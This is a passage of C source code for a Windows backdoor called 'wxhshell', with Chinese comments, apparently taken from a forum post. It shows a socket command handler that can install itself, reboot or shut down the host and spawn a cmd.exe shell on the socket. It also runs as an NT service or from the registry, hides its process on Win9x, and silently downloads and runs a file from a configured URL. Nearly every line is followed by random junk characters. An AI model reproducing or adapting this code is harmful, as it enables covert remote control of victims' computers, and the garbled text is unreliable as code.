    switch(cmd[0]) { `at>X&Ce,  
  ,UA-Pq3 }  
  // 帮助 @&F\M}  
  case '?': { T!ik"YZ@i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )*m#RqLQ8  
    break; bpaS(nBy  
  } 7,!$lT#  
  // 安装 x3C^S~  
  case 'i': { 8jd Ex&K  
    if(Install()) +wpQ$)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8j^3_lD  
    else RLE6=#4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (RM;T@`  
    break; 2+'4m#@)  
    } >$/PfyY7@#  
  // 卸载 j-n-2:Q  
  case 'r': { q)F@f /  
    if(Uninstall()) FJC}xEMcN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bmd3fJb`r  
    else iqAME%m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J12hjzk6@  
    break; ?c0@A*:o  
    } QP={b+8  
  // 显示 wxhshell 所在路径 '>aj5tZ>R  
  case 'p': { vq_v;$9}  
    char svExeFile[MAX_PATH];  cq,8^o&  
    strcpy(svExeFile,"\n\r"); <ZwmXD.VD  
      strcat(svExeFile,ExeFile); Rct=v DU  
        send(wsh,svExeFile,strlen(svExeFile),0); zjlo3=FQX[  
    break; R;3Tyn+  
    } T!3_Q/~^r  
  // 重启 =L F9im  
  case 'b': {  +}-Ecr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,2/y(JX}*!  
    if(Boot(REBOOT)) %7n(>em  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); slRD /  
    else { iL\eMa  
    closesocket(wsh); <`Q*I Y  
    ExitThread(0); n^+rxG6 L  
    } [ KT1.5M[  
    break; jC3)^E@:"  
    } 8r-'m%l  
  // 关机 <}z, !w8  
  case 'd': { ,EuJ0]2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SBog7An9SI  
    if(Boot(SHUTDOWN)) |.;LI= CT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IHaNg K2  
    else { S1Ql%Yk-(  
    closesocket(wsh); n+94./Mh  
    ExitThread(0); QmRE<i  
    } XL2iK)A  
    break; #->#mshd4  
    } n>##,o|Vr#  
  // 获取shell NUjo5.7  
  case 's': { \Bg?QhA_D  
    CmdShell(wsh);  `xm4?6  
    closesocket(wsh);  `GQ'yv  
    ExitThread(0); Qf<@ :T*  
    break; r-]HmY x  
  } A3cW8 OClz  
  // 退出 \UR/tlw+/  
  case 'x': { DAHQ7#qfQC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [pgld9To  
    CloseIt(wsh); mO~A}/je  
    break; 6d%'>^`(o-  
    } [T>a}}@  
  // 离开 <&Q(I+^  
  case 'q': { Ljq!\D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dLnu\bSF  
    closesocket(wsh); ,f2tG+P  
    WSACleanup(); [7|j:!  
    exit(1); 9p '#a:  
    break; /:o (Ghc?  
        } !5escR!\D  
  } MDqUl:]  
  } Qin;{8I0  
[bIR$c[G  
  // 提示信息 S`v+rQjW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FaVeP%v  
} gXThdNU4G  
  } 'D1Sm&M2%e  
:!nBTw  
  return; QZ:xG:qyk;  
} 0A. PfqYi  
WymBjDos:  
// shell模块句柄 YnLwBJ2i  
int CmdShell(SOCKET sock) L^Q q[>  
{ rh%-va9  
STARTUPINFO si; PR i3=3oF  
ZeroMemory(&si,sizeof(si)); H6Qb]H. C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]Y%U5\$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3Hg}G#]WS  
PROCESS_INFORMATION ProcessInfo; 7x ?2((   
char cmdline[]="cmd"; Bx&F*a;5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fj,]dQ T  
  return 0; <z+b88D  
} 8ta`sNy9  
Z/hk)GI  
// 自身启动模式 R]8^ @i1  
int StartFromService(void) $k= 5nJ  
{ g3"eEg5NY  
typedef struct 3Q-[)Z )  
{ j^&{5s  
  DWORD ExitStatus; Il&}4#:  
  DWORD PebBaseAddress; #FL\9RXy  
  DWORD AffinityMask; Q*h%'oc`  
  DWORD BasePriority; jh|4Y(  
  ULONG UniqueProcessId; SSh=r  
  ULONG InheritedFromUniqueProcessId; +&:?*(?Q  
}   PROCESS_BASIC_INFORMATION; v!b 8_0~u6  
.xIu  
PROCNTQSIP NtQueryInformationProcess; vs|_l!n3  
N)rf /E0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IC:wof "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $*Z Zh  
acdWU"<  
  HANDLE             hProcess; [q5N 4&q\  
  PROCESS_BASIC_INFORMATION pbi; *wOuw@09  
5HAIKc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q|+g= |%^  
  if(NULL == hInst ) return 0; b5v6Y:f&fK  
q%Fc?d9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ad@Odx=o*R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y?1<7>L5~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3-T}8VsiP  
9*lkx#  
  if (!NtQueryInformationProcess) return 0; 5_}e?T&s  
!Ui"<0[,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +#|):aF  
  if(!hProcess) return 0; v1E=P7}\{s  
djxM/"xo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |0jmOcZF  
!^ /Mn  
  CloseHandle(hProcess); ZX Sl+k .  
p>c`GDU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8!c#XMHV  
if(hProcess==NULL) return 0; W6>SYa  
.;'3Roi  
HMODULE hMod;  t=;84lA  
char procName[255]; $)fybn Y  
unsigned long cbNeeded; EC6Q<&]Iw  
Wveba)"$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ydyGPZ t  
L`!M3c@u  
  CloseHandle(hProcess); i47xF7y\  
  ps*dO  
if(strstr(procName,"services")) return 1; // 以服务启动 Lk-%I?  
clwJ+kku@  
  return 0; // 注册表启动 w|uO)/v  
} rq.S0bzH  
W"@FRWcd  
// 主模块 MGmUgc  
int StartWxhshell(LPSTR lpCmdLine) E9yBa=#*c  
{ 3Q@HP;<  
  SOCKET wsl; Q6|~ks+Y  
BOOL val=TRUE; q~K KN /N  
  int port=0; =c>w  
  struct sockaddr_in door; guC7!P^  
4p %=8G|  
  if(wscfg.ws_autoins) Install(); Du3nK" -g  
N2~q\BqA  
port=atoi(lpCmdLine); WLTraB[?  
-p:X]Ov  
if(port<=0) port=wscfg.ws_port; 3/w) mY-o  
> WsRCBA  
  WSADATA data; 8?S)>-mwv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MwlhL?  
x\ pC&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v .ftfL!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,;2x.We  
  door.sin_family = AF_INET; J"x M[c2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x-e?94}^  
  door.sin_port = htons(port); RQ1`k,R=  
Z !qHL$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i'Oh^Y)E#  
closesocket(wsl); :.+?v*%;n  
return 1; aFj)s?$4]K  
} BK_x5mGu3  
+Y^_1  
  if(listen(wsl,2) == INVALID_SOCKET) { (v\Cv)OS  
closesocket(wsl); B`/c Kfg  
return 1; a09]5>*  
} )cMW,  
  Wxhshell(wsl); Ikkv <uY  
  WSACleanup(); Y68T&swD  
=DhzV D  
return 0; '5Zt B<  
D&xb tJd  
} u'?yc"d>#  
u,d@ oF(=  
// 以NT服务方式启动 qGE?[\t[6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6tE<`"P!  
{ =/k*w#j  
DWORD   status = 0; O!b >  
  DWORD   specificError = 0xfffffff; COx<X\  
`dYM+ jpa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I.<>6ISI@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0#}@- e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X:*Ut3"  
  serviceStatus.dwWin32ExitCode     = 0; u= |hRTD=  
  serviceStatus.dwServiceSpecificExitCode = 0;  [>'P  
  serviceStatus.dwCheckPoint       = 0; 1!x-_h}  
  serviceStatus.dwWaitHint       = 0; dJhT}"x  
WheJ 7~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b ;Vy=f  
  if (hServiceStatusHandle==0) return; S >PTD@  
Lmy ^/P%  
status = GetLastError(); ugM,wT&~Y  
  if (status!=NO_ERROR) dz',!|>  
{ v@43 %`"Gj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7kBULeBn|  
    serviceStatus.dwCheckPoint       = 0; u"%i3%Yjh  
    serviceStatus.dwWaitHint       = 0; kQR kby  
    serviceStatus.dwWin32ExitCode     = status; X^PR];V:$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0;Y|Ua[G+~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x+}6qfc$9k  
    return; :eK;:pN  
  } QES[/i +  
p7"o:YSQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qp-/S^%  
  serviceStatus.dwCheckPoint       = 0; #-9;Hn4x  
  serviceStatus.dwWaitHint       = 0; ,3k"J4|d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 0>qqz  
} e ,_b  
glk_ *x  
// 处理NT服务事件,比如:启动、停止 <t{T]i+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y[*Bw)F\N  
{ zS*X9|p  
switch(fdwControl) Z#wmEc.}C  
{ ^/Id!Y7  
case SERVICE_CONTROL_STOP: eD0Rv0BV^  
  serviceStatus.dwWin32ExitCode = 0; lO-:[@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^X%{]b K  
  serviceStatus.dwCheckPoint   = 0; [~;#]az  
  serviceStatus.dwWaitHint     = 0; )fz)Rrr  
  { SC~cryb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ks.pb !r  
  } @`N)`u85[  
  return; 7Q<xC  
case SERVICE_CONTROL_PAUSE: 3 *G 7H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z G {1;  
  break; llbj-9OZL  
case SERVICE_CONTROL_CONTINUE: 93|u. @lEy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;4E0%@R  
  break; q%=`PCty  
case SERVICE_CONTROL_INTERROGATE: $/%|0tQ  
  break; jUq^$+N  
}; /@5X0m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #c5 NFU}9  
} C3af>L@}  
=GpO }t">  
// 标准应用程序主函数 a;eV&~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kc=&jCn  
{ <_@ S@t)  
FAVw80?5k  
// 获取操作系统版本 Ed3 *fY  
OsIsNt=GetOsVer(); bz[+g,e2oA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Io[o6*  
NTk"W!<Cl2  
  // 从命令行安装 {]~b^=qE$  
  if(strpbrk(lpCmdLine,"iI")) Install(); uE~? 2G  
j+:q:6=  
  // 下载执行文件 lm}mXFf#  
if(wscfg.ws_downexe) { 3&!X8Lhv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C,R_` %b%  
  WinExec(wscfg.ws_filenam,SW_HIDE); uh UC m  
} lHwQ'/r  
e,qc7BJzK  
if(!OsIsNt) { @ oE [!  
// 如果时win9x,隐藏进程并且设置为注册表启动 9l?#ZuGXp  
HideProc(); O $uXQ.r  
StartWxhshell(lpCmdLine); B:=*lU.n  
} q<rB(j-(  
else m!s/L,iJJ  
  if(StartFromService()) $-m`LF@  
  // 以服务方式启动 6elmLDMni\  
  StartServiceCtrlDispatcher(DispatchTable); *5iNw_&  
else B98&JoS  
  // 普通方式启动 BlQu9{=n  
  StartWxhshell(lpCmdLine); _e AZ_@  
~xqRCf{8  
return 0; le?hCPHkp  
}
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只看该作者 1 发表于: 2006-10-10
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